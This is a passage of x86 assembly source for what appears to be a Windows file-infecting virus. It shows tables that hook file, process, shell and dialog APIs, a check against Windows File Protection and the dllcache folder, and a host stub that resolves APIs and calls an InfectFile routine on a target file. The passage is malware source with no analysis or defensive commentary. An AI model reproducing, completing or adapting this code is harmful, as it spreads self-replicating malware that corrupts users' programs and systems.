VIRAPIDEF 'MultiByteToWideChar' db 0 SfcAPIName: db 'sfc' VIRAPIDEF 'SfcIsFileProtected' db 0 User32APIName: db 'user32' VIRAPIDEF 'SendMessageA' VIRAPIDEF 'GetParent' db 0 ComDlg32APIName: db 'comdlg32' VIRAPIDEF 'GetOpenFileNameA' VIRAPIDEF 'GetOpenFileNameW' VIRAPIDEF 'GetSaveFileNameA' VIRAPIDEF 'GetSaveFileNameW' db 0 Shell32APIName: db 'shell32' VIRAPIDEF 'ShellExecuteA' VIRAPIDEF 'ShellExecuteW' VIRAPIDEF 'ShellExecuteExA' VIRAPIDEF 'ShellExecuteExW' db 0 HookProcTable: dw HookGetOpenFileNameA-VirStart dw HookGetOpenFileNameW-VirStart dw HookGetSaveFileNameA-VirStart dw HookGetSaveFileNameW-VirStart dw HookShellExecuteA-VirStart dw HookShellExecuteW-VirStart dw HookShellExecuteExA-VirStart dw HookShellExecuteExW-VirStart dw HookCreateFileA-VirStart dw HookCreateFileW-VirStart dw HookCreateProcessA-VirStart dw HookCreateProcessW-VirStart dw HookFindFirstFileA-VirStart dw HookFindFirstFileW-VirStart dw HookCopyFileA-VirStart dw HookCopyFileW-VirStart dw HookCopyFileExA-VirStart dw HookCopyFileExW-VirStart dw HookMoveFileA-VirStart dw HookMoveFileW-VirStart dw HookMoveFileExA-VirStart dw HookMoveFileExW-VirStart dw HookGetCurrentDirectoryA-VirStart dw HookGetCurrentDirectoryW-VirStart dw HookSetCurrentDirectoryA-VirStart dw HookSetCurrentDirectoryW-VirStart dw HookGetModuleFileNameA-VirStart dw HookGetModuleFileNameW-VirStart dw HookLoadLibraryA-VirStart dw HookLoadLibraryW-VirStart HookAPITable:ComDlg32APIAddr: addrGetOpenFileNameA dd 0 addrGetOpenFileNameW dd 0 addrGetSaveFileNameA dd 0 addrGetSaveFileNameW dd 0 Shell32APIAddr: addrShellExecuteA dd 0 addrShellExecuteW dd 0 addrShellExecuteExA dd 0 addrShellExecuteExW dd 0 Kernel32APIAddr equ this dword addrCreateFileA dd 0 ;77e92b8dh addrCreateFileW dd 0 addrCreateProcessA dd 0 addrCreateProcessW dd 0 addrFindFirstFileA dd 0 addrFindFirstFileW dd 0 addrCopyFileA dd 0 addrCopyFileW dd 0 addrCopyFileExA dd 0 addrCopyFileExW dd 0 addrMoveFileA dd 0 addrMoveFileW dd 0 addrMoveFileExA dd 0 addrMoveFileExW dd 0 addrGetCurrentDirectoryA dd 0 addrGetCurrentDirectoryW dd 0 addrSetCurrentDirectoryA dd 0 addrSetCurrentDirectoryW dd 0 addrGetModuleFileNameA dd 0 addrGetModuleFileNameW dd 0 addrLoadLibraryA dd 0 addrLoadLibraryW dd 0 HookNum equ ($-HookAPITable)/4 addrSetEndOfFile dd 0 ;77e9f044h addrSetFilePointer dd 0 ;77e9ed4ch addrGetFileAttributesA dd 0 ;77e8657ah addrSetFileAttributesA dd 0 ;77e87b77h addrCloseHandle dd 0 ;77e8a6c8h addrGetFileTime dd 0 ;77e8b19ah addrSetFileTime dd 0 ;77e8a372h addrGetFileSize dd 0 ;77e88854h addrCreateFileMappingA dd 0 ;77e8d21ah addrMapViewOfFile dd 0 ;77e8d019h addrUnmapViewOfFile dd 0 ;77e95efch addrOpenFileMappingA dd 0 ;77e90ab4h addrVirtualAlloc dd 0 ;77e90ee2h addrGetTickCount dd 0 ;77e8c0a6h addrWideCharToMultiByte dd 0 addrWaitForSingleObject dd 0 addrFindClose dd 0 addrCreateEventA dd 0 addrSetEvent dd 0 addrCreateThread dd 0 addrFindNextFileA dd 0 addrMultiByteToWideChar dd 0 SfcAPIAddr: addrSfcIsFileProtected dd 12345678h User32APIAddr: addrSendMessageA dd 0 addrGetParent dd 0 VirEnd: VirSize equ $-VirStart ;Uninitialized data PathBuf db 1000 dup(?) VirVirtualSize equ $-VirStart fakeLoadLibraryA dd 77e98023hfakeGetProcAddress dd 77e9564bh dllcache db 'D:/WINNT/systeM32/dLLCache/f',0 host: mov eax,VirSize mov eax,HookNum mov edi,offset dllcache mov esi,edi call VirGetStrTail xor eax,eax call IsInDllCache mov eax,HookNum mov eax,VirSize push offset strKernel32 call LoadLibraryA mov esi,eax push offset strLoadLibraryA push esi call GetProcAddress mov [fakeLoadLibraryA],eax push offset strGetProcAddress push esi call GetProcAddress mov [fakeGetProcAddress],eax mov dword ptr [RVALoadLibraryA],offset fakeLoadLibraryA mov dword ptr [RVAGetProcAddress],offset fakeGetProcAddress mov edx,offset ImportBuildIP call GetVirAPIAddress mov dword ptr [RVALoadLibraryA],0 mov dword ptr [RVAGetProcAddress],0 call [addrGetTickCount] mov dword ptr [RandSeed],eax mov edi,offset fn call InfectFile hostreturn: push 0 push offset cap push offset msg push 0 call MessageBox push 0 call ExitProcess end host